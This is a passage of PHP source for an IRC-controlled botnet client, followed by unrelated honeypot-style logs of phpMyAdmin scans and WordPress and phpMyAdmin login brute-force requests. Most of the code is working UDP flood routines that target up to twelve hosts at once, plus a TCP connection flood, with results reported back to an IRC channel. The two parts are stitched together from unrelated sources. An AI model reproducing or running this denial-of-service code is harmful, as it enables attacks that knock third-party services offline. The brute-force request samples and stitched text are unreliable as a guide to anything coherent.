$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <port> <time> <size>");}
break;
case "udpfloodnine":
if ($mcmd[11] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[12] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>12) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$port = $mcmd[10];
$time = $mcmd[11];
$packetsize = $mcmd[12];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <port> <time> <size>");}
break;
case "udpfloodten":
if ($mcmd[12] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[13] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>13) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$host10 = $mcmd[10];
$port = $mcmd[11];
$time = $mcmd[12];
$packetsize = $mcmd[13];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
$fp10 = fsockopen("udp://".$host10,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp10,$packet);
fflush($fp10);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
fclose($fp10);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <ip10> <port> <time> <size>");}
break;
case "udpfloodeleven":
if ($mcmd[13] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[14] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>14) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$host10 = $mcmd[10];
$host11 = $mcmd[11];
$port = $mcmd[12];
$time = $mcmd[13];
$packetsize = $mcmd[14];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
$fp10 = fsockopen("udp://".$host10,$port,$e,$s,5);
$fp11 = fsockopen("udp://".$host11,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp10,$packet);
fflush($fp10);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp11,$packet);
fflush($fp11);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
fclose($fp10);
fclose($fp11);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <ip10> <ip11> <port> <time> <size>");}
break;
case "udpfloodtwelve":
if ($mcmd[14] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[15] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>15) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$host10 = $mcmd[10];
$host11 = $mcmd[11];
$host12 = $mcmd[12];
$port = $mcmd[13];
$time = $mcmd[14];
$packetsize = $mcmd[15];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."10 ".$host12."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
$fp10 = fsockopen("udp://".$host10,$port,$e,$s,5);
$fp11 = fsockopen("udp://".$host11,$port,$e,$s,5);
$fp12 = fsockopen("udp://".$host12,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp10,$packet);
fflush($fp10);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp11,$packet);
fflush($fp11);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp12,$packet);
fflush($fp12);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
fclose($fp10);
fclose($fp11);
fclose($fp12);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."10 ".$host12."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <ip10> <ip11> <ip12> <port> <time> <size>");}
break;
case "tcpconn":
if(count($mcmd)>3) { $this->tcp($mcmd[1],$mcmd[2],$mcmd[3]);
}
break;
case "botrestart":
if (!in_array($nick, $this->adminconfig)) {
$this->notice($nick, "0[\20This Command is Restricted to Admins!0\2]");
break;
}
if(count($mcmd)>0){
$this->send("QUIT :Restarting!");
fclose($this->conn);
$this->start();
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]."");
}
break;
case "botdie":
if (!in_array($nick, $this->adminconfig)) {
$this->notice($nick, "0[\20This Command is Restricted to Admins!0\2]");
break;
}
if(count($mcmd)>0){
$this->send("QUIT :Stopping!");
fclose($this->conn);
exit();
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]."");
}
break;
}
}
break;
}
}
}
}
}
function send($msg) {
fwrite($this->conn,$msg."\r\n");
}
function join($chan,$key=NULL) {
$this->send("JOIN ".$chan." ".$key);
}
function auth($chan) {
$this->send("PART ".$chan);
}
function privmsg($to,$msg) {
$this->send("PRIVMSG ".$to." :".$msg);
}
function notice($to,$msg) {
$this->send("NOTICE ".$to." :".$msg);
}
function set_nick() {
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $OS = "Windows";} else {$OS = "Linux";}
if(isset($_SERVER['SERVER_SOFTWARE']))
{
if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
$this->nick = "[A]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
$this->nick = "[I]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
$this->nick = "[X]";
else
$this->nick = "[U]";
}
else
{
$this->nick = "[C]";
}
$prefix = "[".$OS."]".$this->nick."[".$this->config['prefix']."]|%s";
$nickk = substr(str_shuffle("1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $this->config['maxrand']);
$this->nick = sprintf($prefix, $nickk);
$this->send("NICK ".$this->nick);
}
function tcp($host,$port,$time) {
$this->privmsg($this->config['chan'], "[\2tcp started!\2]");
$end = time() + $time;
$i = 0;
while($end > time())
{
$fp = fsockopen("tcp://".$host, $port, $e, $s, 5);
fclose($fp);
$i++;
}
$this->privmsg($this->config['chan'], "[\2tcp Finished!\2]: sent ".$i." connections to $host:$port.");
}
}
$poll = new sell;
$poll->start();
?>
phpMyAdmin scanner
[Attack info]
Attacker:
77.61.183.69
Dest. port: 80
Time: 26/06/2020 01:34:56
Resource(s):
Request: permalink
[Extra info]
ASN/ISP: AS1136
Location: Gelderland, Rheden (zipcode 6991)
rDNS: static.kpn.net
Description
This module detects attackers who try to detect phpMyAdmin installations.CVE
N/AAuthor
UnknownReference
N/APlugin ID
1a0271bb9ff236c3d3a42b4bcb0751f5GET /phpmyadmin/ HTTP/1.1
Host: 164.200.34.67
connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Resource ( 1 / 0 )
Wordpress Login Bruteforcer
[Attack info]
Attacker:
108.61.166.238
Dest. port: 80
Time: 03/10/2019 23:52:57
Resource(s):
Request: permalink
[Extra info]
ASN/ISP: AS20473 Choopa, LLC
Location: North Holland, Haarlem (zipcode 2031)
rDNS: 108.61.166.238.vultr.com
Description
Wordpress login bruteforce.CVE
N/AAuthor
WordpressReference
N/APlugin ID
ohxevoeg3bied5aesh2oomeekangeimuGET /wp-login.php HTTP/1.1
connection: close
Host: host188-94-dynamic.56-82-r.retail.telecomitalia.it
Content-Type: application/x-www-form-urlencoded
accept-encoding: gzip
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Resource ( 1 / 0 )
Wordpress Login Bruteforcer
[Attack info]
Attacker:
108.61.166.238
Dest. port: 80
Time: 03/10/2019 23:52:57
Resource(s):
Request: permalink
[Extra info]
ASN/ISP: AS20473 Choopa, LLC
Location: North Holland, Haarlem (zipcode 2031)
rDNS: 108.61.166.238.vultr.com
Description
Wordpress login bruteforce.CVE
N/AAuthor
WordpressReference
N/APlugin ID
ohxevoeg3bied5aesh2oomeekangeimuPOST /wp-login.php HTTP/1.1
Content-Length: 127
accept-encoding: gzip
Host: host188-94-dynamic.56-82-r.retail.telecomitalia.it
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
connection: close
Content-Type: application/x-www-form-urlencoded
log=&pwd=q1w2e3r4&wp-submit=Log In&redirect_to=http://host188-94-dynamic.56-82-r.retail.telecomitalia.it/wp-admin/&testcookie=1
Resource ( 1 / 0 )
phpMyAdmin login
[Attack info]
Attacker:
212.64.85.87
Dest. port: 80
Time: 22/09/2019 16:38:30
Resource(s):
Request: permalink
[Extra info]
ASN/ISP: AS45090 Shenzhen Tencent Computer Systems Company Limited
Location: California, San Jose (zipcode 95141)
Description
Detect phpMyAdmin username/password bruteforcers.CVE
N/AAuthor
UnknownReference
N/APlugin ID
3d0db7afa2fc1af89c6b65bc3a1f7f07GET /phpmyadmin/index.php?pma_username=root&[email protected]$$w0rd&server=1 HTTP/1.1
Host: 195.195.158.47
cache-control: no-cache
cookie: phpMyAdmin=f29efa5190d56432f17965c7fdb35dc6
connection: Keep-Alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
Resource ( 1 / 0 )
phpMyAdmin login
[Attack info]
Attacker:
212.64.85.87
Dest. port: 80
Time: 22/09/2019 16:38:28
Resource(s):
Request: permalink
[Extra info]
ASN/ISP: AS45090 Shenzhen Tencent Computer Systems Company Limited
Location: California, San Jose (zipcode 95141)
Description
Detect phpMyAdmin username/password bruteforcers.CVE
N/AAuthor
UnknownReference
N/APlugin ID
3d0db7afa2fc1af89c6b65bc3a1f7f07GET /phpmyadmin/index.php?pma_username=root&pma_password=pa$$word123&server=1 HTTP/1.1
Host: 195.195.158.47
cache-control: no-cache
cookie: phpMyAdmin=f29efa5190d56432f17965c7fdb35dc6
connection: Keep-Alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
Resource ( 1 / 0 )
phpMyAdmin login
[Attack info]
Attacker:
212.64.85.87
Dest. port: 80
Time: 22/09/2019 16:37:55
Resource(s):
Request: permalink
[Extra info]
ASN/ISP: AS45090 Shenzhen Tencent Computer Systems Company Limited
Location: California, San Jose (zipcode 95141)
Description
Detect phpMyAdmin username/password bruteforcers.CVE
N/AAuthor
UnknownReference
N/APlugin ID
3d0db7afa2fc1af89c6b65bc3a1f7f07GET /phpmyadmin/index.php?pma_username=root&[email protected]$$w0rd&server=1 HTTP/1.1
Host: 195.195.158.47
cache-control: no-cache
cookie: phpMyAdmin=f29efa5190d56432f17965c7fdb35dc6
connection: Keep-Alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0